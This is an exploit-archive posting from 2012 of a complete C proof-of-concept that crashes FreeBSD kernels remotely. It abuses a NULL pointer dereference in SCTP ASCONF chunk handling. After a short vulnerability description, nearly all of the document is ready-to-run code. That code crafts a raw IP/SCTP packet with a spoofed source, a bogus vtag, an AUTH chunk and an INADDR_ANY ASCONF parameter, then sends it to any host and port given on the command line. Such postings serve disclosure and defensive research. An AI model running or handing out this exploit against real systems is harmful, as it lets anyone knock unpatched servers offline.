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FreeBSD Kernel SCTP Denial Of Service

FreeBSD Kernel SCTP Denial Of Service
Posted Aug 3, 2012
Authored by Shaun Colley

The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag() is called and an attempt is made to find an association by vtag. Before searching for the vtag in a hash table, a pointer is set to NULL, with the intention of redefining it after finding the association. However, if the specified vtag is not found, the function returns and the ptr is never reinitialized, causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when flow returns to sctp_process_control(). This is a proof of concept denial of service exploit.

tags | exploit, remote, denial of service, kernel, proof of concept
systems | freebsd
SHA-256 | 318b17b766a7c0e5fc891db3c6cd991c6323ae2a559c0d010ec2ec369599711b

FreeBSD Kernel SCTP Denial Of Service

Change Mirror Download
/*
* FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
*
* by Shaun Colley <scolley@ioactive.com>, 2 Aug 2012
*
* The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote
* NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
* made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
* is called and an attempt is made to find an association by vtag. Before searching for the vtag in a
* hash table, a pointer is set to NULL, with the intention of redefining it after finding the association.
* However, if the specified vtag is not found, the function returns and the ptr is never reinitialised,
* causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when
* flow returns to sctp_process_control().
*
* i.e.
*
* static struct sctp_tcb *
* sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
* struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
* uint16_t lport, int skip_src_check)
*
* {
*
* [ ... ]
*
* *netp = NULL;
* *inp_p = NULL;
*
* [ ... ]
*
* head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
* 1690 sctppcbinfo.hashasocmark)];
* if (head == NULL) {
* // invalid vtag
* SCTP_INP_INFO_RUNLOCK();
* return (NULL);
* }
*
* The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
* doesn't appear to be exploitable (i.e. by mapping the NULL page)
*
* Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
* SCTP port
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <string.h>

/* sctp checksum implementation, basically ripped from wireshark */
#define SP_LEN 2
#define DP_LEN 2
#define VTAG_LEN 4
#define CHK_LEN 4
#define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
#define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF])

/* SCTP chunk types */
#define SCTP_AUTH 0x0f
#define SCTP_ASCONF 0xc1

static int crc_c[256] = {
0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
};

static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) {

unsigned int i;
unsigned int crc32 = ~0U;
unsigned int r;
unsigned char b0, b1, b2, b3;

for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
CRC32C(crc32, buf[i]);

CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
for (i = HEADER_LEN; i < len; i++)
CRC32C(crc32, buf[i]);

r = ~crc32;

b0 = r & 0xff;
b1 = (r >> 8) & 0xff;
b2 = (r >> 16) & 0xff;
b3 = (r >> 24) & 0xff;
crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
return crc32;
}


/* basic sctp header */
struct sctphdr {
unsigned short sport;
unsigned short dport;
unsigned int vtag;
unsigned csum;
};

/* sctp chunk header */
struct sctp_chunkhdr {
unsigned char type;
unsigned char flags;
unsigned short length;
};

/* ASCONF chunk */
struct sctp_asconf_chunk {
struct sctp_chunkhdr ch;
unsigned int serial;
};

/* AUTH chunk */
struct sctp_auth_chunk {
struct sctp_chunkhdr ch;
unsigned short shared_key_id;
unsigned short hmac_id;
unsigned char hmac[0];
};

/* SCTP parameter header */
struct sctp_paramhdr {
unsigned short type;
unsigned short length;
};

/* ipv4 address parameter */
struct sctp_ipv4addr_param {
struct sctp_paramhdr ph;
unsigned int addr;
};


/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {

int nleft = len;
unsigned int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;

while(nleft > 1) {
sum += *w++;
nleft -= 2;
}
if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}

int main(int argc, char *argv[]) {

int sock = 0, ret = 0;
int on = 1; /* for setsockopt() call */
struct ip *iph = NULL;
struct sctphdr *sctph = NULL;
struct sctp_auth_chunk *auth_chunk = NULL;
struct sctp_asconf_chunk *asconf_chunk = NULL;
struct sctp_ipv4addr_param *ipv4_addr = NULL;

char *crash = NULL;
struct sockaddr_in sin;
struct hostent *hp = NULL;

printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");

if(argc < 3) {
printf("usage: %s <host> <port>\n\n", argv[0]);
return -1;
}

sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
if(sock < 0) {
printf("[*] error making socket!\n");
return -1;
}

/* tell the kernel not to put any IP headers in */
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt() error\n");
return -1;
}

hp = gethostbyname(argv[1]);
if(!hp) {
printf("[*] couldn't resolve %s\n\n", argv[1]);
return -1;
}

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);

crash = malloc(20000);
if(!crash) {
printf("\n[*] couldn't allocate memory\n");
return -1;
}

printf("[*] building crash packet..\n");

memset(crash, 0x00, 20000);

/* fill in IP header */
iph = (struct ip *)crash;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = 0; /* fill in later when we know... */
iph->ip_id = htons(1337);
iph->ip_off = 0;
iph->ip_ttl = 250;
iph->ip_p = 132; /* sctp */
iph->ip_sum = 0;

iph->ip_src.s_addr = inet_addr("1.3.3.7");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;

/* fill in SCTP header */
sctph = (void *)crash + sizeof(struct ip);
sctph->sport = htons(0x1234);
sctph->dport = htons(atoi(argv[2]));
sctph->vtag = htonl(0x12345); /* deliberately wrong */
sctph->csum = 0;

/* build AUTH chunk */
auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr);
auth_chunk->ch.type = SCTP_AUTH;
auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk));
auth_chunk->hmac_id = htons(0x1337);
memset((void *)auth_chunk->hmac, 0x61, 8);

/* build ASCONF chunk */
asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8;
asconf_chunk->ch.type = SCTP_ASCONF;
asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param));
asconf_chunk->serial = 0x41414141; /* whatever */

ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk)
+ 8 + sizeof(struct sctp_asconf_chunk);

ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
ipv4_addr->ph.type = htons(0x0005);
ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */

/* what's the length of the whole packet? */
iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param);

/* calculate IP checksum */
iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);

/* calculate SCTP checksum */
sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8
+ sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param)));

printf("[*] sending packet..\n\n");

/* send the bad packet */
ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
if(ret < 0) {
printf("[*] error sending packet\n");
return -1;
}

printf("[*] done, bad packet sent!\n\n");

free(crash);
close(sock);

return 0;

}

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